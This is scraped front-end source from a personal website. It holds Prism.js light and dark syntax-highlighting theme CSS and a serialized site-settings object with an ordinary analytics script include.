html.theme-dark .language-markdown .token.url \u003e .token.content {\n color: hsl(207, 82%, 66%);\n }\n\n html.theme-dark .language-markdown .token.url \u003e .token.url,\n html.theme-dark .language-markdown .token.url-reference.url {\n color: hsl(187, 47%, 55%);\n }\n\n html.theme-dark .language-markdown .token.blockquote.punctuation,\n html.theme-dark .language-markdown .token.hr.punctuation {\n color: hsl(220, 10%, 40%);\n font-style: italic;\n }\n\n html.theme-dark .language-markdown .token.code-snippet {\n color: hsl(95, 38%, 62%);\n }\n\n html.theme-dark .language-markdown .token.bold .token.content {\n color: hsl(29, 54%, 61%);\n }\n\n html.theme-dark .language-markdown .token.italic .token.content {\n color: hsl(286, 60%, 67%);\n }\n\n html.theme-dark .language-markdown .token.strike .token.content,\n html.theme-dark .language-markdown .token.strike .token.punctuation,\n html.theme-dark .language-markdown .token.list.punctuation,\n html.theme-dark .language-markdown .token.title.important \u003e .token.punctuation {\n color: hsl(355, 65%, 65%);\n }\n\n /* General */\n html.theme-dark .token.bold {\n font-weight: bold;\n }\n\n html.theme-dark .token.comment,\n html.theme-dark .token.italic {\n font-style: italic;\n }\n\n html.theme-dark .token.entity {\n cursor: help;\n }\n\n html.theme-dark .token.namespace {\n opacity: 0.8;\n }\n\n /* Plugin overrides */\n /* Selectors should have higher specificity than those in the plugins' default stylesheets */\n\n /* Show Invisibles plugin overrides */\n html.theme-dark .token.token.tab:not(:empty):before,\n html.theme-dark .token.token.cr:before,\n html.theme-dark .token.token.lf:before,\n html.theme-dark .token.token.space:before {\n color: hsla(220, 14%, 71%, 0.15);\n text-shadow: none;\n }\n\n /* Toolbar plugin overrides */\n /* Space out all buttons and move them away from the right edge of the code block */\n html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item {\n margin-right: 0.4em;\n }\n\n /* Styling the buttons */\n html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e button,\n html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e a,\n html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e span {\n background: hsl(220, 13%, 26%);\n color: hsl(220, 9%, 55%);\n padding: 0.1em 0.4em;\n border-radius: 0.3em;\n }\n\n html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e button:hover,\n html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e button:focus,\n html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e a:hover,\n html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e a:focus,\n html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e span:hover,\n html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e span:focus {\n background: hsl(220, 13%, 28%);\n color: hsl(220, 14%, 71%);\n }\n\n /* Line Highlight plugin overrides */\n /* The highlighted line itself */\n html.theme-dark .line-highlight.line-highlight {\n background: hsla(220, 100%, 80%, 0.04);\n }\n\n /* Default line numbers in Line Highlight plugin */\n html.theme-dark .line-highlight.line-highlight:before,\n html.theme-dark .line-highlight.line-highlight[data-end]:after {\n background: hsl(220, 13%, 26%);\n color: hsl(220, 14%, 71%);\n padding: 0.1em 0.6em;\n border-radius: 0.3em;\n box-shadow: 0 2px 0 0 rgba(0, 0, 0, 0.2); /* same as Toolbar plugin default */\n }\n\n /* Hovering over a linkable line number (in the gutter area) */\n /* Requires Line Numbers plugin as well */\n html.theme-dark pre[id].linkable-line-numbers.linkable-line-numbers span.line-numbers-rows \u003e span:hover:before {\n background-color: hsla(220, 100%, 80%, 0.04);\n }\n\n /* Line Numbers and Command Line plugins overrides */\n /* Line separating gutter from coding area */\n html.theme-dark .line-numbers.line-numbers .line-numbers-rows,\n html.theme-dark .command-line .command-line-prompt {\n border-right-color: hsla(220, 14%, 71%, 0.15);\n }\n\n /* Stuff in the gutter */\n html.theme-dark .line-numbers .line-numbers-rows \u003e span:before,\n html.theme-dark .command-line .command-line-prompt \u003e span:before {\n color: hsl(220, 14%, 45%);\n }\n\n /* Match Braces plugin overrides */\n /* Note: Outline colour is inherited from the braces */\n html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-1,\n html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-5,\n html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-9 {\n color: hsl(355, 65%, 65%);\n }\n\n html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-2,\n html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-6,\n html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-10 {\n color: hsl(95, 38%, 62%);\n }\n\n html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-3,\n html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-7,\n html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-11 {\n color: hsl(207, 82%, 66%);\n }\n\n html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-4,\n html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-8,\n html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-12 {\n color: hsl(286, 60%, 67%);\n }\n\n /* Diff Highlight plugin overrides */\n /* Taken from https://github.com/atom/github/blob/master/styles/variables.less */\n html.theme-dark pre.diff-highlight \u003e code .token.token.deleted:not(.prefix),\n html.theme-dark pre \u003e code.diff-highlight .token.token.deleted:not(.prefix) {\n background-color: hsla(353, 100%, 66%, 0.15);\n }\n\n html.theme-dark pre.diff-highlight \u003e code .token.token.deleted:not(.prefix)::-moz-selection,\n html.theme-dark pre.diff-highlight \u003e code .token.token.deleted:not(.prefix) *::-moz-selection,\n html.theme-dark pre \u003e code.diff-highlight .token.token.deleted:not(.prefix)::-moz-selection,\n html.theme-dark pre \u003e code.diff-highlight .token.token.deleted:not(.prefix) *::-moz-selection {\n background-color: hsla(353, 95%, 66%, 0.25);\n }\n\n html.theme-dark pre.diff-highlight \u003e code .token.token.deleted:not(.prefix)::selection,\n html.theme-dark pre.diff-highlight \u003e code .token.token.deleted:not(.prefix) *::selection,\n html.theme-dark pre \u003e code.diff-highlight .token.token.deleted:not(.prefix)::selection,\n html.theme-dark pre \u003e code.diff-highlight .token.token.deleted:not(.prefix) *::selection {\n background-color: hsla(353, 95%, 66%, 0.25);\n }\n\n html.theme-dark pre.diff-highlight \u003e code .token.token.inserted:not(.prefix),\n html.theme-dark pre \u003e code.diff-highlight .token.token.inserted:not(.prefix) {\n background-color: hsla(137, 100%, 55%, 0.15);\n }\n\n html.theme-dark pre.diff-highlight \u003e code .token.token.inserted:not(.prefix)::-moz-selection,\n html.theme-dark pre.diff-highlight \u003e code .token.token.inserted:not(.prefix) *::-moz-selection,\n html.theme-dark pre \u003e code.diff-highlight .token.token.inserted:not(.prefix)::-moz-selection,\n html.theme-dark pre \u003e code.diff-highlight .token.token.inserted:not(.prefix) *::-moz-selection {\n background-color: hsla(135, 73%, 55%, 0.25);\n }\n\n html.theme-dark pre.diff-highlight \u003e code .token.token.inserted:not(.prefix)::selection,\n html.theme-dark pre.diff-highlight \u003e code .token.token.inserted:not(.prefix) *::selection,\n html.theme-dark pre \u003e code.diff-highlight .token.token.inserted:not(.prefix)::selection,\n html.theme-dark pre \u003e code.diff-highlight .token.token.inserted:not(.prefix) *::selection {\n background-color: hsla(135, 73%, 55%, 0.25);\n }\n\n /* Previewers plugin overrides */\n /* Based on https://github.com/atom-community/atom-ide-datatip/blob/master/styles/atom-ide-datatips.less and https://github.com/atom/atom/blob/master/packages/one-dark-ui */\n /* Border around popup */\n html.theme-dark .prism-previewer.prism-previewer:before,\n html.theme-dark .prism-previewer-gradient.prism-previewer-gradient div {\n border-color: hsl(224, 13%, 17%);\n }\n\n /* Angle and time should remain as circles and are hence not included */\n html.theme-dark .prism-previewer-color.prism-previewer-color:before,\n html.theme-dark .prism-previewer-gradient.prism-previewer-gradient div,\n html.theme-dark .prism-previewer-easing.prism-previewer-easing:before {\n border-radius: 0.3em;\n }\n\n /* Triangles pointing to the code */\n html.theme-dark .prism-previewer.prism-previewer:after {\n border-top-color: hsl(224, 13%, 17%);\n }\n\n html.theme-dark .prism-previewer-flipped.prism-previewer-flipped.after {\n border-bottom-color: hsl(224, 13%, 17%);\n }
872\n\n /* Background colour within the popup */\n html.theme-dark .prism-previewer-angle.prism-previewer-angle:before,\n html.theme-dark .prism-previewer-time.prism-previewer-time:before,\n html.theme-dark .prism-previewer-easing.prism-previewer-easing {\n background: hsl(219, 13%, 22%);\n }\n\n /* For angle, this is the positive area (eg. 90deg will display one quadrant in this colour) */\n /* For time, this is the alternate colour */\n html.theme-dark .prism-previewer-angle.prism-previewer-angle circle,\n html.theme-dark .prism-previewer-time.prism-previewer-time circle {\n stroke: hsl(220, 14%, 71%);\n stroke-opacity: 1;\n }\n\n /* Stroke colours of the handle, direction point, and vector itself */\n html.theme-dark .prism-previewer-easing.prism-previewer-easing circle,\n html.theme-dark .prism-previewer-easing.prism-previewer-easing path,\n html.theme-dark .prism-previewer-easing.prism-previewer-easing line {\n stroke: hsl(220, 14%, 71%);\n }\n\n /* Fill colour of the handle */\n html.theme-dark .prism-previewer-easing.prism-previewer-easing circle {\n fill: transparent;\n }\n \n 1e:T46e0,\n :root {\n --color-text-default: rgb(55, 53, 47);\n --color-text-default-light: rgba(55, 53, 47, 0.6);\n --color-text-gray: rgb(155, 154, 151);\n --color-text-brown: rgb(100, 71, 58);\n --color-text-orange: rgb(217, 115, 13);\n --color-text-yellow: rgb(223, 171, 1);\n --color-text-green: rgb(15, 123, 108);\n --color-text-blue: rgb(11, 110, 153);\n --color-text-purple: rgb(105, 64, 165);\n --color-text-pink: rgb(173, 26, 114);\n --color-text-red: rgb(224, 62, 62);\n\n --color-bg-default: rgb(255, 255, 255);\n --color-bg-gray: rgb(235, 236, 237);\n --color-bg-brown: rgb(233, 229, 227);\n --color-bg-orange: rgb(250, 235, 221);\n --color-bg-yellow: rgb(251, 243, 219);\n --color-bg-green: rgb(221, 237, 234);\n --color-bg-blue: rgb(221, 235, 241);\n --color-bg-purple: rgb(234, 228, 242);\n --color-bg-pink: rgb(244, 223, 235);\n --color-bg-red: rgb(251, 228, 228);\n\n --color-bg-gray-light: rgba(235, 236, 237, 0.3);\n --color-bg-brown-light: rgba(233, 229, 227, 0.3);\n --color-bg-orange-light: rgba(250, 235, 221, 0.3);\n --color-bg-yellow-light: rgba(251, 243, 219, 0.3);\n --color-bg-green-light: rgba(221, 237, 234, 0.3);\n --color-bg-blue-light: rgba(221, 235, 241, 0.3);\n --color-bg-purple-light: rgba(234, 228, 242, 0.3);\n --color-bg-pink-light: rgba(244, 223, 235, 0.3);\n --color-bg-red-light: rgba(251, 228, 228, 0.3);\n\n --color-pill-default: rgba(206, 205, 202, 0.5);\n --color-pill-gray: rgba(155, 154, 151, 0.4);\n --color-pill-brown: rgba(140, 46, 0, 0.2);\n --color-pill-orange: rgba(245, 93, 0, 0.2);\n --color-pill-yellow: rgba(233, 168, 0, 0.2);\n --color-pill-green: rgba(0, 135, 107, 0.2);\n --color-pill-blue: rgba(0, 120, 223, 0.2);\n --color-pill-purple: rgba(103, 36, 222, 0.2);\n --color-pill-pink: rgba(221, 0, 129, 0.2);\n --color-pill-red: rgba(255, 0, 26, 0.2);\n\n --color-ui-hover-bg: rgba(239, 239, 239);\n --color-card-bg: rgb(255, 255, 255);\n --color-checkbox-bg: rgb(46, 170, 220);;\n --color-border-default: rgba(235, 236, 237, 0.8);\n --color-border-dark: rgba(55, 53, 47, 0.16);\n --color-code-bg: rgba(239, 239, 239);\n\n /*Scrollbar*/\n --scrollbar-background-color: #fafafa;\n --scrollbar-thumb-color: #c1c1c1;\n --scrollbar-border-color: #e8e8e8;\n\n --navbar-text-color: var(--color-text-default);\n --navbar-background-color: var(--color-bg-default);\n --navbar-button-text-color: var(--color-text-default);\n --navbar-button-background-color: var(--color-bg-default);\n --navbar-menu-background-color: var(--navbar-background-color);\n\n --footer-text-color: var(--color-text-default);\n --footer-background-color: var(--color-bg-default);\n --color-calendar-weekend-bg: #f7f6f3;\n }\n\n \n /**\n * One Light theme for prism.js\n * Based on Atom's One Light theme: https://github.com/atom/atom/tree/master/packages/one-light-syntax\n */\n \n /**\n * One Light colours (accurate as of commit eb064bf on 19 Feb 2021)\n * From colors.less\n * --mono-1: hsl(230, 8%, 24%);\n * --mono-2: hsl(230, 6%, 44%);\n * --mono-3: hsl(230, 4%, 64%)\n * --hue-1: hsl(198, 99%, 37%);\n * --hue-2: hsl(221, 87%, 60%);\n * --hue-3: hsl(301, 63%, 40%);\n * --hue-4: hsl(119, 34%, 47%);\n * --hue-5: hsl(5, 74%, 59%);\n * --hue-5-2: hsl(344, 84%, 43%);\n * --hue-6: hsl(35, 99%, 36%);\n * --hue-6-2: hsl(35, 99%, 40%);\n * --syntax-fg: hsl(230, 8%, 24%);\n * --syntax-bg: hsl(230, 1%, 98%);\n * --syntax-gutter: hsl(230, 1%, 62%);\n * --syntax-guide: hsla(230, 8%, 24%, 0.2);\n * --syntax-accent: hsl(230, 100%, 66%);\n * From syntax-variables.less\n * --syntax-selection-color: hsl(230, 1%, 90%);\n * --syntax-gutter-background-color-selected: hsl(230, 1%, 90%);\n * --syntax-cursor-line: hsla(230, 8%, 24%, 0.05);\n */\n \n html.theme-light code[class*=\"language-\"],\n html.theme-light pre[class*=\"language-\"] {\n color: hsl(230, 8%, 24%);\n font-family: \"Fira Code\", \"Fira Mono\", Menlo, Consolas, \"DejaVu Sans Mono\", monospace;\n direction: ltr;\n text-align: left;\n white-space: pre;\n word-spacing: normal;\n word-break: normal;\n line-height: 1.5;\n -moz-tab-size: 2;\n -o-tab-size: 2;\n tab-size: 2;\n -webkit-hyphens: none;\n -moz-hyphens: none;\n -ms-hyphens: none;\n hyphens: none;\n }\n \n /* Selection */\n html.theme-light code[class*=\"language-\"]::-moz-selection,\n html.theme-light code[class*=\"language-\"] *::-moz-selection,\n html.theme-light pre[class*=\"language-\"] *::-moz-selection {\n background: hsl(230, 1%, 90%);\n color: inherit;\n }\n \n html.theme-light code[class*=\"language-\"]::selection,\n html.theme-light code[class*=\"language-\"] *::selection,\n html.theme-light pre[class*=\"language-\"] *::selection {\n background: hsl(230, 1%, 90%);\n color: inherit;\n }\n \n /* Code blocks */\n html.theme-light pre[class*=\"language-\"] {\n padding: 1em;\n margin: 0.5em 0;\n overflow: auto;\n border-radius: 0.3em;\n }\n \n /* Inline code */\n html.theme-light :not(pre) \u003e code[class*=\"language-\"] {\n padding: 0.2em 0.3em;\n border-radius: 0.3em;\n white-space: normal;\n }\n \n html.theme-light .token.comment,\n html.theme-light .token.prolog,\n html.theme-light .token.cdata {\n color: hsl(230, 4%, 64%);\n }\n \n html.theme-light .token.doctype,\n html.theme-light .token.punctuation,\n html.theme-light .token.entity {\n color: hsl(230, 8%, 24%);\n }\n \n html.theme-light .token.attr-name,\n html.theme-light .token.class-name,\n html.theme-light .token.boolean,\n html.theme-light .token.constant,\n html.theme-light .token.number,\n html.theme-light .token.atrule {\n color: hsl(35, 99%, 36%);\n }\n \n html.theme-light .token.keyword {\n color: hsl(301, 63%, 40%);\n }\n \n html.theme-light .token.property,\n html.theme-light .token.tag,\n html.theme-light .token.symbol,\n html.theme-light .token.deleted,\n html.theme-light .token.important {\n color: hsl(5, 74%, 59%);\n }\n \n html.theme-light .token.selector,\n html.theme-light .token.string,\n html.theme-light .token.char,\n html.theme-light .token.builtin,\n html.theme-light .token.inserted,\n html.theme-light .token.regex,\n html.theme-light .token.attr-value,\n html.theme-light .token.attr-value \u003e .token.punctuation {\n color: hsl(119, 34%, 47%);\n }\n \n html.theme-light .token.variable,\n html.theme-light .token.operator,\n html.theme-light .token.function {\n color: hsl(221, 87%, 60%);\n }\n \n html.theme-light .token.url {\n color: hsl(198, 99%, 37%);\n }\n \n /* HTML overrides */\n html.theme-light .token.attr-value \u003e .token.punctuation.attr-equals,\n html.theme-light .token.special-attr \u003e .token.attr-value \u003e .token.value.css {\n color: hsl(230, 8%, 24%);\n }\n \n /* CSS overrides */\n html.theme-light .language-css .token.selector {\n color: hsl(5, 74%, 59%);\n }\n \n html.theme-light .language-css .token.property {\n color: hsl(230, 8%, 24%);\n }\n \n html.theme-light .language-css .token.function,\n html.theme-light .language-css .token.url \u003e .token.function {\n color: hsl(198, 99%, 37%);\n }\n \n html.theme-light .language-css .token.url \u003e .token.string.url {\n color: hsl(119, 34%, 47%);\n }\n \n html.theme-light .language-css .token.important,\n html.theme-light .language-css .token.atrule .token.rule {\n color: hsl(301, 63%, 40%);\n }\n \n /* JS overrides */\n html.theme-light .language-javascript .token.operator {\n color: hsl(301, 63%, 40%);\n }\n \n html.theme-light .language-javascript .token.template-string \u003e .token.interpolation \u003e .token.interpolation-punctuation.punctuation {\n color: hsl(344, 84%, 43%);\n }\n \n /* JSON overrides */\n html.theme-light .language-json .token.operator {\n color: hsl(230, 8%, 24%);\n }\n \n html.theme-light .language-json .token.null.keyword {\n color: hsl(35, 99%, 36%);\n }\n \n /* MD overrides */\n html.theme-light .language-markdown .token.url,\n html.theme-light .language-markdown .token.url \u003e .token.operator,\n html.theme-light .language-markdown .token.url-reference.url \u003e .token.string {\n color: hsl(230, 8%, 24%);\n }\n \n html.theme-light .language-markdown .token.url \u003e .token.content {\n color: hsl(221, 87%, 60%);\n }\n \n html.theme-light .language-markdown .token.url \u003e .token.url,\n html.theme-light .language-markdown .token.url-reference.url {\n color: hsl(198, 99%, 37%);\n }\n \n html.theme-light .language-markdown .token.blockquote.punctuation,\n html.theme-light .language-markdown .token.hr.punctuation {\n color: hsl(230, 4%, 64%);\n font-style: italic;\n }\n \n html.theme-light .language-markdown .token.code-snippet {\n color: hsl(119, 34%, 47%);\n }\n \n html.theme-light .language-markdown .token.bold .token.content {\n color: hsl(35, 99%, 36%);\n }\n \n html.theme-light .language-markdown .token.italic .token.content {\n color: hsl(301, 63%, 40%);\n }\n \n html.theme-light .language-markdown .token.strike .token.content,\n html.theme-light .language-markdown .token.strike .token.punctuation,\n html.theme-light .language-markdown .token.list.punctuation,\n html.theme-light .language-markdown .token.title.important \u003e .token.punctuation {\n color: hsl(5, 74%, 59%);\n }\n \n /* General */\n html.theme-light .token.bold {\n font-weight: bold;\n }\n \n html.theme-light .token.comment,\n html.theme-light .token.italic {\n font-style: italic;\n }\n \n html.theme-light .token.entity {\n cursor: help;\n }\n \n html.theme-light .token.namespace {\n opacity: 0.8;\n }\n \n /* Plugin overrides */\n /* Selectors should have higher specificity than those in the plugins' default stylesheets */\n \n /* Show Invisibles plugin overrides */\n html.theme-light .token.token.tab:not(:empty):before,\n html.theme-light .token.token.cr:before,\n html.theme-light .token.token.lf:before,\n html.theme-light .token.token.space:before {\n color: hsla(230, 8%, 24%, 0.2);\n }\n \n /* Toolbar plugin overrides */\n /* Space out all buttons and move them away from the right edge of the code block */\n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item {\n margin-right: 0.4em;\n }\n \n /* Styling the buttons */\n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e button,\n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e a,\n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e span {\n background: hsl(230, 1%, 90%);\n color: hsl(230, 6%, 44%);\n padding: 0.1em 0.4em;\n border-radius: 0.3em;\n }\n \n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e button:hover,\n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e button:focus,\n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e a:hover,\n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e a:focus,\n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e span:hover,\n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e span:focus {\n background: hsl(230, 1%, 78%); /* custom: darken(--syntax-bg, 20%) */\n color: hsl(230, 8%, 24%);\n }\n \n /* Line Highlight plugin overrides */\n /* The highlighted line itself */\n html.theme-light .line-highlight.line-highlight {\n background: hsla(230, 8%, 24%, 0.05);\n }\n \n /* Default line numbers in Line Highlight plugin */\n html.theme-light .line-highlight.line-highlight:before,\n html.theme-light .line-highlight.line-highlight[data-end]:after {\n background: hsl(230, 1%, 90%);\n color: hsl(230, 8%, 24%);\n padding: 0.1em 0.6em;\n border-radius: 0.3em;\n box-shadow: 0 2px 0 0 rgba(0, 0, 0, 0.2); /* same as Toolbar plugin default */\n }\n \n /* Hovering over a linkable line number (in the gutter area) */\n /* Requires Line Numbers plugin as well */\n html.theme-light pre[id].linkable-line-numbers.linkable-line-numbers span.line-numbers-rows \u003e span:hover:before {\n background-color: hsla(230, 8%, 24%, 0.05);\n }\n \n /* Line Numbers and Command Line plugins overrides */\n /* Line separating gutter from coding area */\n html.theme-light .line-numbers.line-numbers .line-numbers-rows,\n html.theme-light .command-line .command-line-prompt {\n border-right-color: hsla(230, 8%, 24%, 0.2);\n }\n \n /* Stuff in the gutter */\n html.theme-light .line-numbers .line-numbers-rows \u003e span:before,\n html.theme-light .command-line .command-line-prompt \u003e span:before {\n color: hsl(230, 1%, 62%);\n }\n \n /* Match Braces plugin overrides */\n /* Note: Outline colour is inherited from the braces */\n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-1,\n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-5,\n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-9 {\n color: hsl(5, 74%, 59%);\n }\n \n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-2,\n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-6,\n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-10 {\n color: hsl(119, 34%, 47%);\n }\n \n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-3,\n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-7,\n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-11 {\n color: hsl(221, 87%, 60%);\n }\n \n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-4,\n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-8,\n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-12 {\n color: hsl(301, 63%, 40%);\n }\n \n /* Diff Highlight plugin overrides */\n /* Taken from https://github.com/atom/github/blob/master/styles/variables.less */\n html.theme-light pre.diff-highlight \u003e code .token.token.deleted:not(.prefix),\n html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix) {\n background-color: hsla(353, 100%, 66%, 0.15);\n }\n \n html.theme-light pre.diff-highlight \u003e code .token.token.deleted:not(.prefix)::-moz-selection,\n html.theme-light pre.diff-highlight \u003e code .token.token.deleted:not(.prefix) *::-moz-selection,\n html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix)::-moz-selection,\n html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix) *::-moz-selection {\n background-color: hsla(353, 95%, 66%, 0.25);\n }\n \n html.theme-light pre.diff-highlight \u003
872e code .token.token.deleted:not(.prefix)::selection,\n html.theme-light pre.diff-highlight \u003e code .token.token.deleted:not(.prefix) *::selection,\n html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix)::selection,\n html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix) *::selection {\n background-color: hsla(353, 95%, 66%, 0.25);\n }\n \n html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix),\n html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix) {\n background-color: hsla(137, 100%, 55%, 0.15);\n }\n \n html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix)::-moz-selection,\n html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix) *::-moz-selection,\n html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix)::-moz-selection,\n html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix) *::-moz-selection {\n background-color: hsla(135, 73%, 55%, 0.25);\n }\n \n html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix)::selection,\n html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix) *::selection,\n html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix)::selection,\n html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix) *::selection {\n background-color: hsla(135, 73%, 55%, 0.25);\n }\n \n /* Previewers plugin overrides */\n /* Based on https://github.com/atom-community/atom-ide-datatip/blob/master/styles/atom-ide-datatips.less and https://github.com/atom/atom/blob/master/packages/one-light-ui */\n /* Border around popup */\n html.theme-light .prism-previewer.prism-previewer:before,\n html.theme-light .prism-previewer-gradient.prism-previewer-gradient div {\n border-color: hsl(0, 0, 95%);\n }\n \n /* Angle and time should remain as circles and are hence not included */\n html.theme-light .prism-previewer-color.prism-previewer-color:before,\n html.theme-light .prism-previewer-gradient.prism-previewer-gradient div,\n html.theme-light .prism-previewer-easing.prism-previewer-easing:before {\n border-radius: 0.3em;\n }\n \n /* Triangles pointing to the code */\n html.theme-light .prism-previewer.prism-previewer:after {\n border-top-color: hsl(0, 0, 95%);\n }\n \n html.theme-light .prism-previewer-flipped.prism-previewer-flipped.after {\n border-bottom-color: hsl(0, 0, 95%);\n }\n \n /* Background colour within the popup */\n html.theme-light .prism-previewer-angle.prism-previewer-angle:before,\n html.theme-light .prism-previewer-time.prism-previewer-time:before,\n html.theme-light .prism-previewer-easing.prism-previewer-easing {\n background: hsl(0, 0%, 100%);\n }\n \n /* For angle, this is the positive area (eg. 90deg will display one quadrant in this colour) */\n /* For time, this is the alternate colour */\n html.theme-light .prism-previewer-angle.prism-previewer-angle circle,\n html.theme-light .prism-previewer-time.prism-previewer-time circle {\n stroke: hsl(230, 8%, 24%);\n stroke-opacity: 1;\n }\n \n /* Stroke colours of the handle, direction point, and vector itself */\n html.theme-light .prism-previewer-easing.prism-previewer-easing circle,\n html.theme-light .prism-previewer-easing.prism-previewer-easing path,\n html.theme-light .prism-previewer-easing.prism-previewer-easing line {\n stroke: hsl(230, 8%, 24%);\n }\n \n /* Fill colour of the handle */\n html.theme-light .prism-previewer-easing.prism-previewer-easing circle {\n fill: transparent;\n }\n \n 18:[\"$\",\"body\",null,{\"children\":[[\"$\",\"$L19\",null,{\"settings\":{\"siteId\":\"c4f580f7-fa69-456f-93cd-7cca5eda614e\",\"userId\":\"cb4e83cb-fe5e-4a17-9055-d11287041f68\",\"domainName\":\"ian.sh\",\"name\":\"Ian Carroll\",\"active\":true,\"free\":false,\"tier\":\"pro\",\"favicon\":\"https://s3.amazonaws.com/super-notion/images/a35ee276-8605-424a-9466-bacce4ec24fd.png\",\"fontFamily\":\"Inter\",\"legacyTheme\":\"default\",\"language\":\"en\",\"languages\":[],\"notionPage\":\"eb5f7782eeca437f927323f450f8f3dc\",\"indexPageId\":\"c4f580f7-fa69-456f-93cd-7cca5eda614e:::341116e4-b5b8-4753-89cb-a0ddbee82773\",\"pageProperties\":false,\"hidePageProperties\":true,\"disablePageProperties\":false,\"pageSyncing\":true,\"viewSwitcher\":true,\"layoutSidePanel\":true,\"floatingTableOfContents\":false,\"siteSearch\":false,\"advancedSearch\":true,\"themeToggle\":false,\"mondayFirst\":false,\"loadLimits\":false,\"hidePersonInfo\":false,\"showPropertyIcons\":false,\"filterRedirectsFromSearch\":false,\"redirectSubdomain\":null,\"noIndex\":false,\"viewsExceeded\":false,\"manualSync\":false,\"syncStatus\":\"unsynced\",\"publishedAt\":\"2026-07-01T11:29:18.496Z\",\"custom404Enabled\":false,\"membershipEnabled\":false,\"membershipConfigured\":false,\"suppressLoginEmail\":false,\"indexMembershipTierIds\":null,\"navbar\":null,\"footer\":null,\"sidebar\":null,\"theme\":null,\"code\":{\"global\":[{\"id\":\"c4f580f7-fa69-456f-93cd-7cca5eda614e:::92f65f7e-0419-435b-909c-c0244220e690\",\"content\":\"\u003cscript defer data-domain=\\\"ian.sh\\\" src=\\\"https://plausible.io/js/script.
872js\\\"\u003e\u003c/script\u003e\\n\"}],\"head\":[],\"body\":[],\"style\":[],\"css\":\"\"},\"files\":[]},\"config\":{\"assetEndpoint\":\"https://assets.super.so\",\"isPreview\":false},\"domainQueryParam\":\"$undefined\",\"children\":[null,[\"$\",\"$L1a\",null,{\"settings\":\"$18:props:children:0:props:settings\",\"isPreview\":false,\"global\":\"$1b\",\"light\":\"$1c\",\"dark\":\"$1d\",\"legacy\":\"$1e\",\"children\":[\"$L1f\",null]}],\"$L20\",\"$L21\",\"$L22\"]}],\"$L23\"]}]\n"])</script>
